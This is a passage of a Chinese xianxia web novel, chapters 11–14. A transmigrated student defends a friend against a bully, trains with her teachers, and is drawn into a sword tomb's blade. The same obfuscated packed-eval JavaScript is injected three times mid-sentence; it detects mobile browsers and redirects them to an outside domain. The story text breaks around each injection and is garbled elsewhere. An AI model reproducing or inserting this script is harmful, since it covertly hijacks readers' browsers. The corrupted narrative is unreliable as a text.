关云铮目光看向坐在竹椅上,姿态分外悠闲的章存舒。 这几天见了不少仙门中人,厉害的先生,和她差不多水平的弟子,唯独章存舒,始终有种看不清深浅的感觉——当然也可能是她自己水平不足,还看不出什么。 并且她这几天还发现了另外一个细节——她从没见过章存舒的武器。 褚先生身上确实没有佩戴武器,但小悯解释过,是因为他从来就不是武修,鲜少佩戴武器,虽筑基后就没有再升过境界,但在青镜山上已做了大半辈子的教习先生;蒲飞鸢剑不离身,啊不,初登场时还是短暂离身了一会儿的;步雁山的配剑没出过鞘,但确实是一直佩戴着的,剑鞘她偷偷看过几眼,感觉怪雅致的。 哪怕是师姐,除了早晨和晚上,其余时候也都是佩剑的。 至于章存舒——她甚至不知道自己师父是不是用剑的。 深不可测啊。 关云铮在心里煞有其事地捋了捋不存在的胡子。 第二天上午学剑下午学术法,本来关云铮还想感慨两句安排真合理,上午累了下午休息,转念一想这样排不就上午累身体,下午累精神,哪来的休息。 顿时思路开阔人也哀怨起来。 不过课还是要上,关云铮往练武场走的时候悲哀地想,本来大学都快读完了要成社畜了,这下好了,读书时长超级加倍。 她一边走一边又想到,不用工作就能不愁吃穿还是挺好的,大四就猝死了穿过来也没受多少在医院当牛马的苦,这波其实还是赚了。 等到这些想法挨个蹦完后,关云铮后知后觉地想,其他的先不论,她应该是真疯了。 被自己诊断为疯了的关云铮走到练武场,看见站在人群外围的楚悯,才想起自己昨天逃学下山连她都没来得及告诉,赶紧一路小跑过去,想态度诚恳地道个歉。 结果还没到就正好听见个有点耳熟的声音在说话,说的内容还不怎么顺耳。 对面人多势众的样子,声音耳熟的那个大概是赵乾达,站在最前方,明显是来找事的。他身后的人普遍有点眼熟但不大认得,关云铮一边纳闷他上哪儿找来这么多一起欺负人的小弟,一边思考在哪偷听不会被发现。 还没等她思考出个结果,那边已经说了一大堆,关云铮总结了一下,无非是说楚悯现在的成就都是靠家世之类之类,没有什么新词。 只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853167|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是楚悯始终只是提剑站着,没有怎么回话。她背对着自己,关云铮看不清她的神情。 关云铮并不知道她在想什么,不知道她在不在乎这些接近于谩骂的话。但她知道,受害者的沉默以对有时候是对加害者的一种纵容。 她以前也遭遇过校园霸凌,只不过那会儿她神经大条的同时又没有太多自信,所以对很多恶意都非常钝感,也就没能做出及时的反击。上大学后可能是精神状态逐渐美丽的关系,动不动就会幻想自己回到过去,给那些总是霸凌她的人一次漂亮的反击。 “你说楚悯是依靠家世才入的天问,那敢问你又是什么门派的弟子?”关云铮彻底走近,侧过脸看了眼,发现楚悯并不十分受影响的样子,放心下来。 虽然早就知道这个欠打哥是天问的,但他身后这些看热闹的可未必知道,还得问清楚才能让他们听明白了。 赵乾达先前可能全情投入骂人,完全没注意到她,见她走来愣了一下才接上话,说道:“我自然也是天问一派。” 关云铮挑眉,心说上钩了,继续说道:“如此说来,天问并非全然凭借家世选择弟子,不然你这个外姓人也没有资格入门了?” 赵乾达似乎被她话里的“外姓人”刺激到,说话的声音都比先前大了点,肢体上还表现出转过身寻求身后人支持的动作:“我有资格是一回事,她凭借家世是另一回事,她凭借家世得到这样的优待难道不是不公平吗?” 哦哟,还把自己给说上头了,一定觉得自己很正义吧,瞧这一脸怀才不遇义愤填膺的样儿。 关云铮倒也不咄咄逼人,比他情绪平和多了:“她偷了谁的名额?还是抢了谁的身份?她一没偷二没抢,天问没有因为她这个自家人少收你这样的外姓子弟,又有什么好置喙的?” 赵乾达被她的话哽住,但嘴上还想要反驳:“你……” “我没让你插嘴。”关云铮平静地看他一眼,截住他的话头,“至于你说的优待,天问待弟子如何你自然心里有数,若要胡说八道硬扯出什么优待来,想必在场的其他人也不大相信,但若你说的是在青镜山上的优待,那我倒要问问你,你如今几岁了?又是什么境界?” 赵乾达被她说得脖颈都红了,气焰也弱下去:“我如今几岁是何境界与你又有什么关系?” 关云铮不怕这人胡搅蛮缠,闻言笑了笑,揽住身侧站着的楚悯:“仙盟设立集中教习,本意是让大家处于同一起点,减少差距,你长我们这些人、长楚悯几岁,境界也高了不止一星半点,还能得到教习的机会,上青镜山求学。” “远了说,未来少不得你要比我们都精进些,大约还能仗着现在的优势在仙门大比上获得更高的名次,青镜山却没有因此将你从名单中剔除,你倒是说说,到底是谁在享受优待?” 关云铮说完这一大堆,默默在心里给自己打了个九分。 赵乾达彻底无言以对,恰好蒲飞鸢来了,于是转身拨开人群,灰溜溜地走了。 练剑时两人依旧在自己的小角落,练完一套剑招,楚悯慢吞吞地说:“无需与他争这些,往日在师门他来找茬,我都不理。” 关云铮看她不受影响就知道她并不在意这些闲言碎语,但还是说道:“不是跟他争,要是他今天一个人来找茬我也懒得搭理他,只是他显然是要在众多人面前让你难堪,那我自然要让他下不来台。” “再说了,虽然我们都清楚他是个没事找事的坏胚,可被他叫来的这些人倒未必,不在他们面前把话说清楚,这些人没准还觉得自己是仗义执言呢。” 助纣为虐的伥鬼比恶人还可恨,要打脸就要挨个打个遍,谁也别想逃咯。 关云铮说完这些,又想起还没道歉,不太好意思地说:“昨天犯了馋瘾下山吃好吃的去了,没来得及跟你说。” 楚悯摇摇头,对她笑笑:“没关系,我看你从山下回来后开心许多,以后有机会多下山走走吧。” 诶? 开心许多吗? 她倒不至于因为两顿好吃的就开心许多,能明显到楚悯一眼看出来的地步……因为什么呢? 而且她现在其实也还是打不过赵乾达这这个已经筑基的,是什么给了她底气在众人面前跟他争呢? 毕竟她并不了解他,不能确保他不会因为在众人面前破防,而对她动手。 难道是师门的支持和理解吗? 她倒也没有仗着这个的感觉…… 楚悯休息完,准备继续练剑,看她迟迟没有反应,叫她:“云崽?” 关云铮放弃思考了,小声喊着“来了来了”加入了楚悯,两人一起继续练剑了。 12. 第 12 章 关云铮刚开始学剑,说起来每天都练剑招,但学的也无非是如何出剑,持剑时如何攻击,以及如何收剑。 一套动作其实没有几个,但要达到蒲飞鸢要求的“行云流水”还很远,好在关云铮并不着急,只是一遍又一遍地把木剑重新提起来。 几轮下来,楚悯先体力不支,坐在一边的树下休息。 关云铮大概能明白蒲飞鸢的用意,战斗时很多事发生在转瞬之间,只有把基础的剑招练习流畅了,才能在慌乱间把剑当做身体的一部分,本能般地挥出去。 只是不知道还要用木剑练习多久,轻便的木剑到底是比不上真剑的重量,到时候拿到了真剑又得适应一段时间。 关云铮叹了口气,没注意到身后有人慢慢走近。 楚悯感觉到袖边风,抬头看见脚步放得很轻的蒲飞鸢。 蒲飞鸢低头对她做了个噤声的手势,继续靠近仍在专注练剑的关云铮。 而关云铮其实——在走神。 具体在想什么她也不知道,她只是一边肌肉记忆似的练习剑招,一边盯着不远处半空中的一点,放空大脑。 ——直到她的右手食指忽然不受控制地抽搐了一下。 那一下很像是人类即将睡着时的无意识蹬腿,会把人从朦胧的睡意中一把拽出来。 所以她猛地回过神来,下一瞬意识到什么,转身抬手就要把手中的剑挥出去。 然后被蒲飞鸢用两根手指轻飘飘地夹住了剑。 “反应挺快。”蒲飞鸢夸了一句。 关云铮很茫然,总不好说她本来是在发呆,手指抽了才回过神。 以前初中有一次,老师提问了一个不算太难的问题,但大家都在思考,一时之间没人出声,后排却忽然有个格外响的声音说出了答案。 同桌略感纳闷:“她声音怎么那么大?” 关云铮一脸“我懂”地说:“你信不信她刚才在发呆,一回神刚好听见问题?” 同桌不解,下课后特地去问,居然还真是。 所以她的“反应挺快”,也不过是刚结束发呆后思维格外敏捷了那么一瞬间而已,只是凑巧。 蒲飞鸢收回手,关云铮顺势把剑背到身后:“先生。” “昨天逃学了?”蒲飞鸢问道。 您倒也不必这么直白,让我怎么回。 好在蒲飞鸢本来也没打算听她对这个问题作出什么回答,紧接着又说:“别逃褚先生的课,让他担心。” 咦?难道可以逃你和掌门的课吗? 脑子里的邪恶小人冒了个头,很快被良心小人一巴掌拍飞了。 关云铮乖乖点头。 “看你剑招练得还算熟练,要不先教你点别的拳脚功夫?”蒲飞鸢抱着手问道。 关云铮有点困惑:“只教我吗,那其他的同窗们......?” 蒲飞鸢摆摆手:“我就是闲得无聊,想跟人过两招,其他弟子我可不敢随便折腾,万一累了伤了,回去告状,可惹不起。” 怎么,我就可以随便折腾了?关云铮震惊。 蒲飞鸢又接着说:“章存舒除了那张嘴,人还可以,不会像其他仙门人一样,看我这个散修有诸多碍眼,提前教你两招,就当感谢你师父了。” 关云铮觉得自己剑招还不是很熟,也不是很愿意被“随便折腾”,嘴上推辞着:“师父请您来当这个教习先生也是经过了掌门和仙盟认可的,是您自身足够有本事才能换来这些认可,想来没有必要为了这个回报我师父。” 蒲飞鸢皱眉:“话多。”伸手一勾她衣领,把人提溜走了。 ? ??? “之前没学过拳脚功夫吧?”蒲飞鸢把关云铮带到瀑布前。 关云铮摇摇头,半是期待半是担忧地在蒲飞鸢面前站着。 “扎马步会吗?”蒲飞鸢打量了她一会儿。 关云铮想了想,决定老实回答:“看过,大概并不太标准。” 蒲飞鸢朝她抬抬下巴:“扎一个我看看。” 关云铮就放下木剑,沉下身子扎了个马步。 蒲飞鸢站起来,绕到她身后:“肩打开,别缩着,背挺直。” 关云铮照做,发觉原本还算稳的马步有维持不住的趋势。 蒲飞鸢伸手按在她腰腹:“你这里力量不够,所以背才会弯,而一旦挺直,身子就向后倾。” “手伸出来,向前伸,平衡住。”她又简短说道。 关云铮膝盖以上逐渐绷紧,短短一会儿意识到这具身体的弱不禁风。 她自己的身体虽然体质一般,但扎这么一会儿马步倒不是问题,原身不是富贵人家的小姐吗,怎么身体这么差?甚至比不上她这个阴虚加阳虚的大学生? 还有她刚才右手食指忽然抽那么一下,难道是这具身体缺钙? 但缺钙也没有抽食指的吧? 走神间,蒲飞鸢一手按上她肩膀:“沉下去,怎么还起来了。” 关云铮被她一按,顿时觉得两股战战,酸得像堆积了好几斤乳酸。 “以后每天练完剑招,来这边扎一炷香的马步。”蒲飞鸢伸出手扶她起来。 关云铮搭住那只手,刚摸到那手心里的茧,腿就软了一下。 。被自己菜晕。 蒲飞鸢并不着急,把木剑递给她,领着她往回走,走出几步又低头问她:“我先前没教过学生,这几天下来你觉得我教得如何?” 关云铮没想到刚学几天就要评教,思考一会儿给了中肯的评价:“您教得很基础。” 蒲飞鸢点点头,又问:“会太过简单吗?” 这还简单?现代人完全不会! 好吧你们都是古代人,当我没说。 “我基础差,并不觉得您教得太过简单,或许您可以问问其他同窗的想法?”关云铮坦诚道。 蒲飞鸢看她:“谁说你基础差了?你只是体力不太好,这不是很正常吗?” 诶?真的吗? 蒲飞鸢读懂她的眼神:“谁也不是生下来就适合修炼的,总得一步一步突破局限,不然也不会有境界这一说,慢慢来。” 关云铮点点头:“弟子明白了。” 到底是没有扎太久的马步,到中午吃饭时关云铮又生龙活虎的了,还把楚悯也拉到了自家师门的饭堂。 楚悯有点拘谨,被关云铮拉着手,跟在身后轻声说:“没有跟你师父他们说过的话,是不是不太好?” 关云铮把她牵到桌边坐下:“没关系,待会儿他们来了我说一声就好了。你有什么不吃的吗,我去看看有什么菜。” 楚悯摇摇头,表示自己没有什么忌口。 关云铮活蹦乱跳地去盛饭了。 楚悯坐在桌边看着,弯了弯眼睛。 还没等关云铮回来,有人在她旁边落座:“你是小悯吧?” 来的人是连映。 楚悯点点头:“师姐好。” 连映端了碗甜汤给她:“谢谢你愿意跟云崽交朋友,不介意的话,以后也可以来这里吃饭。” 楚悯伸出双手接过汤:“好,谢谢师姐。” 连映笑眼弯弯:“今天练剑累吗?看你有点疲惫。” 楚悯摇摇头:“我还好,云崽......云铮比较累。” 连映回头看了眼还在快乐挑菜的关云铮,回过头来说:“云崽这个称呼很可爱吧?” 楚悯点点头,又想起什么似的,正打算开口,关云铮端着一个托盘过来了:“师姐你来啦。” 连映回过头去接盘子:“小悯说你今天练剑很累?” 关云铮在桌边坐下:“今天还行,但接下来应该会比较累。” 关云铮把今天的练剑经过和扎马步的事简单说了说,又想起上课前吵的架,没忍住跟师姐吐槽:“师姐还记得上次跟你说过的那个赵乾达吗?他今天又来找事,被我骂了一顿。” 说完觉得“骂”不太妥当,又改口:“不对,应该是有理有据地说了一通。” 连映被她逗笑,又扭头看向楚悯:“小悯以后要是遇到什么事处理不好,也可以来找我们。” 于是楚悯也弯了弯眼睛:“好。” 吃过饭后稍作休整,关云铮和楚悯手拉手去了学法术的场地。 走到半路,关云铮的右眼皮忽然毫无征兆地跳了两下,紧接着又抽动了一下。 她第一反应是自己眼部疲劳了,但仔细想想穿越到这个世界后,往日不好的用眼习惯,比如侧躺看小说,黑灯瞎火玩手机,都已经因为客观条件不允许强行戒掉了,还会有什么过度用眼的地方? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853168|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转念一想,这具身体并不是她自己的,对于疲劳的阈值跟她自己总归是不一样的,或许是这具身体疲劳了。 至于那句古老的“左眼跳财右眼跳灾”——她向来只在自己跳左眼皮的时候相信。 关云铮甩掉脑子里乱七八糟的念头,跟楚悯一起到角落些的地方站定。 今日术法课的学习内容依旧是御物术,只不过在原先的基础上进阶了一些。 关云铮原先还以为所谓的进阶指的是,对比上一次的让羽毛漂浮,这次要让羽毛动起来之类,结果没想到步雁山来之后说今天的内容是御水。 有种老师只教了1+1=2,结果要考2的321次方乘4的124次方的感觉。 楚悯看她愁眉苦脸,伸手摸摸她的肩头:“无需担心,没有你想的那么难。” 她不精体术,但像御物术这样的基础术法,在来青镜山之前就已经学得比较精通,虽不能保证一定教会,引导几句倒是没什么问题的。 瀑布是山上相当显眼的一处水源,之前没什么人来是因为此处偏僻,今天要练习御水,人就多了许多。 关云铮社恐发作,拉着跟自己一样恐人的楚悯往更角落钻:“我倒不是觉得难,我是觉得上次御物术就是借的不熄鼎的力,总不好次次都靠它吧,那下了山岂不是什么招式也使不出来?” 总感觉就算不是为了逃学,以后也得经常下山,要是真这样那还了得? 六脉神剑是时有时无没错,但它是在对敌的时候时有时无,不是像她一样有用的时候都是在山上闹着玩儿啊。 真愁人啊。 虽然身边的人都说引气入体这件事急不得,让她顺其自然,但每到要用灵气的时候,她就难免会有些焦虑。 而且她也不能保证不熄鼎每次都会回应她,人家那么大个灵器凭什么每次都搭理她?她又不是什么根骨奇佳的修仙之材,在修仙文里打酱油可能都不太配。 但御水还得练,灵气还得借。 关云铮叹了口气,熟门熟路地闭上眼在心里默念不熄鼎的名字,再睁开眼时有种跟上次不太一样的感觉。 这是没借到?但感觉又不太像。 关云铮回忆着上次的手势,尝试着操控水流。 瀑布飞溅之下,水面并不平静,但也没有出现水凭空而起的趋势。 关云铮正打算收回手再试一次,站在旁边的楚悯却“咦”了一声:“等等。” 二人面前的水面开始出现不甚明显的涡旋,关云铮预感不好,手没收,另一只手把楚悯拉着,往后面退了一步。 一捧水陡然升高,泼在了她们刚才站的地方。 这是成功了还是没成功? 还有,她怎么觉得看起来那么像是瀑布呸了她一口? 一天课程结束,关云铮拉着楚悯回去,打算下个厨给小伙伴尝尝自己手艺。 闻越溜达过来在她身后跟着:“以后做菜都是云崽负责吗?” 关云铮头也不回:“想得美。” 闻越失望地叹了口气:“云崽你变了。” 关云铮忙着炒菜,被他跟着烦得慌,把人扒拉开:“你乱说,我始终如一。” 闻越演了两句后稍微正常了一点,站她旁边问:“今天学得怎么样?” 关云铮把鸡蛋液滑进锅里,面无表情地说:“学御水的时候感觉被瀑布呸了一口。” 闻越一愣,随即靠在灶台边笑得乐不可□□个瀑布的话,可能不是你的错觉。” ? 闻越笑了好一会儿才停下来:“那个瀑布归墟建成之前就有了,源头至今也没找到,而且只要有弟子去那学御水,就会被它呸一口。” ??? 就离谱。 “我觉着吧,可能跟山里那个剑冢有些关系,里头有些剑虽没了主人,但还有灵气残余,看到新来的弟子想捉弄一下,也不是不可能。”闻越分析得头头是道。 关云铮把炒好的菜端出锅,一把塞进闻越手里。 闻越猝不及防被烫了一下:“怎么了这是?” 关云铮微笑:“不小心,师兄快去吃饭吧。” 内心却在想:就你有嘴。 不过既然提到这么多次剑冢——不如待会儿吃完饭去山里找找看吧。 13. 第 13 章 不知道能不能找到,也不知道要耗时多久,因此关云铮出发前还是跟闻越打了声招呼。 闻越听她要去找剑冢,脸上倒是没多少担心的神色,大概因为山上到底还是自家地盘,又或者剑冢并不是那么容易找到的。 闻越在旁边看她收拾妥当,想了想还是说了一句:“要是找到了,记得别碰那些剑。” 关云铮困惑抬头,闻越却只是笑着又摸了摸她的脑袋:“去探险吧,云崽。” ? 怎么感觉今天的师兄是师姐变的。 关云铮被自己的脑洞离谱到,在大脑里打了一通驱除杂念的空气拳,把木剑也带上,跟闻越摆摆手,往后山的方向走。 不过是去自家后山,这架势像是要远游了似的。 去后山的路上会经过章存舒种的那一片菜地,关云铮低头看了会儿,最近大概是上半月,还可能快要十五了,因为此刻正是傍晚时分,大半个月亮已经悬挂在天上,给地里的蔬菜挂上一层清冷的光辉。 秋天蔬菜是不是容易遭虫害来着,也不知道待会儿夜里会不会有虫子,要是回来得早来看看好了。 关云铮这样想着,穿过菜地继续往前走。 之前逃学下山也是走的后山小路,当时明明走了很久,可今天关云铮没走出多远,发现前方已经看不到路了。 雾气不知何时浓重起来,彻底遮蔽了前路。 关云铮有点犯怵。 按理来说她虽然是坚定的唯物主义者,坚信这世上,不对,那世上没有鬼,但不妨碍某些小时候看的鬼片实在是太深入人心,导致她后来一直有点怕黑。 等到穿越到这个修仙的世界,如果说人真的能通过修炼脱胎换骨成仙,那对应的,这世上岂非也该有鬼怪?不还有修仙文中常有人修鬼道吗? 刚才还挂在天上的月亮也不知道哪儿去了,按照影视剧的发展,这会儿都要进行到杀人放火时了。 关云铮哆哆嗦嗦地往雾里伸出一只脚。 还没等踩到实处,雾里传来一声不太明显的嗤笑。 她嗖地一下把脚收回来,拎着木剑腿肚子直抽抽:“谁在那儿!” 周围一片寂静,仿佛刚才听到的那一声是她的幻觉。 也没人跟她说后山有鬼啊?还是说这雾有什么问题,她真的出现幻觉了? 感觉这个剑冢也不是非去不可,关云铮一边自我催眠,小声碎碎念着“没鬼没鬼”,一边抱着木剑往来时路走。 不是,来时路也没了??? 她被浓雾包围,害怕了一会儿后居然奇异地不怕了,也有可能是破罐破摔了,冷静地对着空气说道:“晚辈冒昧前来,不知前辈在此,多有叨扰,这就离开。” 说清楚自己不打算再打扰应该可以走了吧,至于剑冢探险,下辈子一定。 雾气弥漫中,关云铮握着剑,等待着刚才那个声音再次开口。 她还是不太信刚才那声是她的幻觉,再加上之前闻越的推测,她更倾向于是附近剑冢里的剑在搞鬼。 只是刚才那个声音一直没有再出现,雾气也没有散去的迹象。 干站这等着也不是办法,想起白天学御水时楚悯说的话,她决定试试能不能瞎猫撞死耗子,举一反三地把雾气驱散了。 这雾虽然看着浓,但拂在脸上并没有带着水汽的潮湿感,跟寻常的雾气截然不同,也就显得更为诡异。 关云铮觉得自己不能再拖延了,不然就像大半夜脑袋蒙被窝里想到鬼,迟早被自己的想象力吓死,于是闭上眼准备跟不熄鼎借点灵气。 刚闭上眼睛在心里喊了声,就感觉到脚下的地面微微一晃。 或者不能说是微微,因为那动静其实有点大,关云铮本能地睁开了眼:地震?不会这么倒霉吧? 但当她完全睁开眼后,眼前的景象几乎要让她确定自己是中了幻觉了——面前的雾气不知道什么时候散去了,出现在她面前的是一个黑黢黢的洞口。 天爷,这比刚才的雾气弥漫还吓人。 但是身后的雾还是浓得看不见路,眼下能走的路只有面前这个不知底细的洞口。 关云铮握紧手中的木剑——算了,豁出去了! 步雁山毫无例外又一次吃了闭门羹。 从隔壁山头下来时正好遇到练完剑的任嵩华,后者看他来的方向就知道他刚才干什么去了,习以为常地没有过问,只是提着剑跟他问了声好,声音很冷淡:“掌门。” 步雁山应了声,刚要说点什么的时候就看到任嵩华表情一变。 那变化很轻微,不了解她的人可能根本看不出来——因为任嵩华常年面无表情,所谓的表情变化也不过是眉毛稍微动了那么微不足道的一下。 但步雁山看到了:“怎么了?” 任嵩华抬头看了眼。 他们所处的地方是这座山头的半山腰偏上,抬头时因为身在山中的关系,其实看不到山顶,但任嵩华又确实能看到点东西,因此步雁山并没有出声询问她在看什么。 她投去视线的时间不长,很快收回目光:“无事。” 步雁山不疑有他,点点头:“天晚了,早些休息。” 任嵩华短促地点了点头,转身离开了。 步雁山还站在原处,朝方才任嵩华看的方向看了一会儿,轻轻地叹了口气。 关云铮迈进洞口的一瞬间,再次听见了刚才那个声音。 “你居然能进来。” 洞里也在这个声音响起的刹那亮起了灯火,关云铮看见了数不清的剑,以各种各样的姿态陈列在她面前。 得益于古代没有电子设备,原身也没有什么眼睛方面的疾病,她的视力前所未有的好,能清楚地看见那些剑都是什么模样。 ——有的已经开始生锈,有的还光亮如新,有的笔直插入地面,有的歪斜着靠在墙边,还有的甚至倒落在地。 只是无一例外,全都没有剑鞘。 仿佛剑鞘之于剑正如衣服之于人,生不带来,死不带去。 那个声音的主人此时又不开口了,整个洞穴里只有石壁上的灯火在风中摇晃的声音。 关云铮不自觉屏住了呼吸,一直用力握着木剑的手也不自觉松开了些许。 这就是,剑的坟墓吗。 没有了主人的剑,就是这样的结局吗? 关云铮自觉惊扰,也没了在剑冢再看看的想法,正打算转身退出去,之前那个声音又响起来了:“这就要走了?” “我还当你跟那些人一样,是特地来找剑冢的。”那个声音的语气听起来有些嘲讽。 关云铮看不见人,只好对着声音的大致方向又行了个礼:“弟子确实是来找剑冢的,现在找到了,心愿已偿,也该离开了。” “你就不好奇我是谁吗?”那个声音又说道。 关云铮心说我不敢,嘴上规规矩矩的:“前辈大约是此地某把剑内的剑灵?” 那声音哼了声,大概意思是她猜对了。 关云铮又没话说了,只好等着它开口。 “你没听人说过?能进剑冢的一般都是这些剑曾经主人的后辈,因缘际会才能被允许进入。你都进来了,就不好奇是哪把剑和你有缘吗?”那个声音果然又开口了。 听是听师兄说过,但就算有缘也是跟这具身体有缘,跟她能有什么关系,她跟这个世上的所有人都没缘。 关云铮这样想着,还是打算走。 那个声音似乎是有点急了:“此处剑冢不止有归墟门中人的剑,还有好些连主人姓甚名谁都无法知悉,在归墟遇到后辈实在难得,你难道真不想知道有关你先辈的事吗?” 这货真的是正经剑灵吗,怎么跟个推销员似的。 关云铮吐槽无能,然而忽然想起什么,思索一会儿对着空气问道:“前辈可知我是如何进来的?” 那声音大概是看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853169|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出她对这里的剑并不感兴趣,声音都有点有气无力的:“不都说了是先辈和你的感应。” 关云铮提出自己的困惑:“我先前在外面朝不熄鼎借灵气,还没借到就感到地面晃动,睁眼便看见眼前的洞口……” 那声音没等她说完就开口打断了她:“你说你朝不熄鼎借灵气?” 关云铮听出那声音里的一点不可置信,犹豫着开口:“对,可有问题?” 那声音骤然近了很多,像是正在关云铮周围绕着圈打量着她:“我倒没看出来你是他的后代,奇怪……” 他?还是她? 说的是谁? 难道原身确实有先辈在仙山修炼? 那声音在她旁边絮絮低语着,关云铮听不清楚,正想再问两句,忽然听见那声音骤然兴奋起来:“让你看看他的剑好了。” 不是,什么看,怎么看啊,师兄好像说过不能碰剑冢里的剑啊? 关云铮直觉不妙,然而已躲闪不及,她只感觉眼前忽然一亮,是尚未生锈的金属被光照射后的反光晃到她眼睛,然后左手一凉,低头时手心已经被塞进一把剑。 关云铮只来得及端详了一眼,判断出手里这把不是剑而是刀,就感觉眼前一黑,瞬间失去了意识。 失去意识前的最后一个念头是——有没有人管啊,有剑碰瓷啊! 月上中天,连映回来时却发现关云铮小院的灯暗着。 闻越在自己屋顶坐着,手边放了一碟盐水毛豆,正悠闲自在地边吃边晃腿。 连映来的时候看到的就是这么一幅景象,懒得说他了,走过去问他:“云崽呢?” 闻越低头:“去剑冢探险了。” 连映皱眉:“你怂恿的?” 闻越撇嘴:“我冤枉。” 连映无言片刻,伸手一个指风打在他乱晃的腿上:“这么晚了她还没回来,你最好祈祷别被师父发现。” 闻越摸摸自己的腿:“我是觉得,云崽能从不熄鼎那里借到灵气,又担心自己迟迟学不会引气入体,没准可以去剑冢找找机缘。” 连映听出他话里有话:“我有时候都想不明白你哪来这么大的心。” 闻越继续美滋滋嗑毛豆:“心胸宽广应该的。” 连映又弹他一指风:“我说你缺心眼还胆子大,别给我装听不懂。” 闻越笑嘻嘻:“师姐吃毛豆吗?” 连映:“你先给我从屋顶上下来,别把壳丢屋瓦上。” 此时的章存舒正捏着鼻子跟一群仙督探讨今年的仙门大比事宜。 往年这种事门派里派的一般都是他师弟步雁山,步雁山虽然年纪小但一直是他们师门里最靠谱的那一个,凡是有对外的场合一般都会让他来,比较给师门长脸。 但仙盟这群老头偏要说今年步雁山担当教习先生一职太过劳累,把他给抓来朝安城了。 章存舒对重返家乡没什么感怀之情,坐在角落里兴致缺缺,心说这种看起来光鲜亮丽的差事,还不如回归墟去逗他新收的小徒弟。 说到小徒弟——章存舒坐直了一点,打算看看弟子们正在做什么。 他伸手蘸了点杯中的茶水,又用手指点着桌面把水迹抹开,水迹中很快出现师门各人的景象。 阿却还在闭关,就不去打扰他了;小映——在跟闻越拌嘴,闻越怎么又在吃东西?一天天的嘴闲不住半分;云崽呢?小院怎么不见点灯? 章存舒微微皱了皱眉,指尖把水迹往另一个方向抹开些许,却发现关云铮的身影始终无法出现在画面中,原本澄澈的水迹甚至出现了逐渐模糊的迹象。 几位仙督正推杯换盏到兴致高涨时,角落里的章存舒却忽然站起来,姿态随意地作了个揖就快步走了,刚跨出门身影就消失不见。 坐在首位的仙督不着痕迹地皱了皱眉,听见下方的几位抱怨几句,又笑起来:“想必是师门有事需先回去,无妨,我们继续聊。” 14. 第 14 章 关云铮还没睁眼就感觉到一阵头晕,像是有人在抓着肩膀剧烈地摇晃她,下意识以为是室友又在发癫,她含含糊糊地开口:“别晃了,脑浆都要被你摇匀了。” 发出来的声音却是一阵听不分明的嗡鸣。 什么玩意儿?晃得她语言中枢出问题了? 关云铮睁开眼,映入眼帘的是一个稻草扎的靶子,没什么形状,看起来更像是练习劈砍之类动作的简易靶子。 她还在思考,忽然又是一阵被晃的头晕目眩,并且还发现自己离那个稻草桩子越来越近,几秒后与粗糙的稻草来了个脸贴脸的亲密接触——等等,这个视角,这个体验,她现在不会是在刚才那把碰瓷她的刀里吧??? 救命啊。 如果那个剑灵有实体她一定会暴揍它一顿,她发誓。 不能说话也没有手脚,没有办法让人知道现在这把刀里有个快要晕死的灵魂,关云铮绝望地闭上眼,正准备让自己强行睡过去,忽然听见个熟悉的声音:“月儿,来吃饭了。” 好像是她师父的声音? 关云铮重新睁开眼,没看到来人,只感到又是一阵眩晕,应该是被叫做“月儿”的人把她,不是,把刀放下了。 金属与石头触碰的一声脆响后,她看见了她师父的脸。 脸上看不出和现在的模样有什么区别,只是从气质来看,似乎是要年轻一些。 关云铮大胆猜测起持刀人的身份:妹妹?还是师妹? 总不可能是女儿吧。 虽然修仙不是皈依佛门,看过的不少修仙文里也有修士没有断绝红尘,在山下有妻子儿女,但不知道为什么,她觉得女儿这个猜测非常不靠谱,可能是因为她师父对待徒弟们时有种不太靠谱的感觉。 如果说曾经有过孩子还能这么不靠谱……算了不吐槽师父了,总之不太像是他的女儿。 好在两人没有让她的困惑维持太久,因为很快她就听见一个女声说:“师兄,我的刀鞘呢?” 那声音听起来温温柔柔的,但和连映殷含绮的声音都不太一样,具体哪里不同她也说不上来——或许就是,连映听起来是用剑的,殷含绮大概会用扇子白绫这类作为武器,而现在这个声音的主人,是用刀的。 虽然之前刚接触到那把刀就被拽进来了,但当时她还来得及看一眼刀的制式——雁翎刀,由于实在是独具特色,所以就算那一眼非常短暂,她也认出来了。 关云铮被安置在石桌上,头不晕了心也活了,有些雀跃地想要看看章存舒的师妹长什么样子。 章存舒回答了“月儿”的问题:“不是才拿到吗,最近也不出门,不急着带刀鞘。” 关云铮一边听一边在心里“嗯嗯”点头,心说要是带刀鞘她在刀里就看不到了怎么办,那她不是白被拽进来了。 被叫作“月儿”的人似乎是在石桌边坐下了,关云铮再往外看的时候,对上了她的视线。 那是一双……雾蒙蒙的眼睛。 